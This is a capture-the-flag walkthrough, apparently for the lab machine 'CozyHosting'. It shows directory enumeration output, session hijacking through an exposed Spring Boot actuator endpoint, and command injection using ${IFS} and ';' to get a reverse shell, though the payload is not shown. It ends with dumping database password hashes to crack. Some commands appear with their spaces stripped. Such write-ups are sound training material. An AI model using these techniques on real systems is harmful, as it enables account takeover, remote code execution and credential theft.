PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
it looks like there's only two open ports, SSH and HTTP. In order to access the webserver, we first need to modify /etc/hosts by adding the following record:
10.10.11.230 cozyhosting.htb
Now, we can visit http://cozyhosting.htb.
Browsing around the website, there isn't too much. The only place for user input is in the "Login" page. I first tried SQL injection via sqlmap:
sqlmap -u http://cozyhosting.htb/login --forms
However, sqlmap did not identify any apparent SQL injection vulnerabilities. My next step was to try and piece together more about the actual web application. Trying to visit /robots.txt for example gives us a "Whitelabel Error Page" which is associated with the Spring framework for Java. Without much more to explore, I decided to use feroxbuster to search for any interesting directories or files. Interestingly, SecLists has a wordlist just for Springboot. We can use this with Feroxbuster:
404 GET 0l 0w 0c http://cozyhosting.htb/actuator/env/language
404 GET 0l 0w 0c http://cozyhosting.htb/actuator/env/hostname
404 GET 0l 0w 0c http://cozyhosting.htb/actuator/env/tz
200 GET 1l 13w 487c http://cozyhosting.htb/actuator/env/lang
200 GET 1l 13w 487c http://cozyhosting.htb/actuator/env/home
200 GET 1l 13w 487c http://cozyhosting.htb/actuator/env/path
404 GET 0l 0w 0c http://cozyhosting.htb/actuator/env/pwd
200 GET 1l 120w 4957c http://cozyhosting.htb/actuator/env
200 GET 1l 1w 634c http://cozyhosting.htb/actuator
200 GET 1l 1w 15c http://cozyhosting.htb/actuator/health
200 GET 43l 241w 19406c http://cozyhosting.htb/assets/img/pricing-business.png
200 GET 34l 172w 14934c http://cozyhosting.htb/assets/img/pricing-starter.png
200 GET 38l 135w 8621c http://cozyhosting.htb/assets/img/favicon.png
200 GET 295l 641w 6890c http://cozyhosting.htb/assets/js/main.js
200 GET 29l 174w 14774c http://cozyhosting.htb/assets/img/pricing-ultimate.png
200 GET 38l 135w 8621c http://cozyhosting.htb/assets/img/logo.png
200 GET 29l 131w 11970c http://cozyhosting.htb/assets/img/pricing-free.png
200 GET 97l 196w 4431c http://cozyhosting.htb/login
200 GET 1l 1w 198c http://cozyhosting.htb/actuator/sessions
404 GET 0l 0w 0c http://cozyhosting.htb/actuator/env/spring.jmx.enabled
200 GET 1l 542w 127224c http://cozyhosting.htb/actuator/beans
200 GET 83l 453w 36234c http://cozyhosting.htb/assets/img/values-3.png
200 GET 79l 519w 40905c http://cozyhosting.htb/assets/img/values-2.png
200 GET 1l 218w 26053c http://cozyhosting.htb/assets/vendor/aos/aos.css
200 GET 1l 313w 14690c http://cozyhosting.htb/assets/vendor/aos/aos.js
200 GET 1l 108w 9938c http://cozyhosting.htb/actuator/mappings
200 GET 81l 517w 40968c http://cozyhosting.htb/assets/img/hero-img.png
200 GET 73l 470w 37464c http://cozyhosting.htb/assets/img/values-1.png
200 GET 2397l 4846w 42231c http://cozyhosting.htb/assets/css/style.css
200 GET 1l 625w 55880c http://cozyhosting.htb/assets/vendor/glightbox/js/glightbox.min.js
200 GET 7l 1222w 80420c http://cozyhosting.htb/assets/vendor/bootstrap/js/bootstrap.bundle.min.js
200 GET 2018l 10020w 95609c http://cozyhosting.htb/assets/vendor/bootstrap-icons/bootstrap-icons.css
200 GET 7l 2189w 194901c http://cozyhosting.htb/assets/vendor/bootstrap/css/bootstrap.min.css
200 GET 14l 1684w 143706c http://cozyhosting.htb/assets/vendor/swiper/swiper-bundle.min.js
200 GET 285l 745w 12706c http://cozyhosting.htb/
The interesting thing to notice here is the existence of /actuator. Actuator is a submodule of Springboot which provides application monitoring. Specifically, if we visit /actuator/sessions, we will get a JSON output of all valid sessions.
Looks like we have a user kanderson. All we need to do is set our JSESSIONID cookie to the value we found, and we will be logged in as kanderson with full access to the /admin dashboard!
Exploitation
Looking at the admin panel, there is an area for SSH connections. You provide it a hostname and a username, and it attempts to connect via SSH.
We can mess around with the inputs to figure out what they require. From testing, hostname must be a valid hostname (so either an IP address or string) with no special characters. Username can contain anything except spaces. For example, hostname=2664&username=; yields the following error:
Essentially, we replace all spaces in our command with ${IFS} (because no spaces are allowed for username) and then we pad it with ;. This separates the SSH command with our intended command injection. I messed around with different reverse shells like nc, netcat, nc -e, nc -c, bash, etc, but none worked. The error messages indicated errors regarding the spaces, so I decided to just save the reverse shell to a file, download it on the machine, and then execute. All-in-all, here was my payload generation:
Looks like we have a shell as the app user and we are in the /app directory. My first steps when it comes to privilege escalation is sudo -l and LinPEAS, none which provided anything fruitful. Additionally, while looking for the user flag, I noticed there is a josh user, but I don't have permission to their home directory. Looks like we will need to get to josh first, and then to root.
Looking at the directory via ls -al, there is a cloudhosting-0.0.1.jar file-- which we can safely say is the server-side code for the web application. Because .jar are essentially ZIP files, we can unzip the JAR and see the contents. Some of the .class files will still be unreadable because they are compiled bytecode, but property files, configs, etc, will be available.
unzipcloudhosting-0.0.1.jar-d/tmp
Some quick file browsing, and we can uncover BOOT-INF/classes/application.properties:
We can try to connect to the PostgreSQL database with the following command
psql-h127.0.0.1-p54432-Upostgres-W
This was my first time using postgres, so had to do a bit of Googling. But, we know the database is called cozyhosting, and we can access it with
postgres=# \c cozyhosting
Then, we can list all of the tables
cozyhosting=# \dt
List of relations
Schema | Name | Type | Owner
--------+-------+-------+----------
public | hosts | table | postgres
public | users | table | postgres
There's a users table, wonder if it has anything interesting.
cozyhosting=# TABLE users;
name | password | role
-----------+--------------------------------------------------------------+-----
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
We already have access as kanderson via their session token. We can see if we can find out admin password by cracking the hash. First, we need to identify the hash format. $2a represents Bcrypt/Blowfish, so we can crack it with johnand rockyou.txt. (I chose John because Bcrypt takes longer to calculate via GPU, and Hashcat is GPU-centric. John is better at CPU hashes).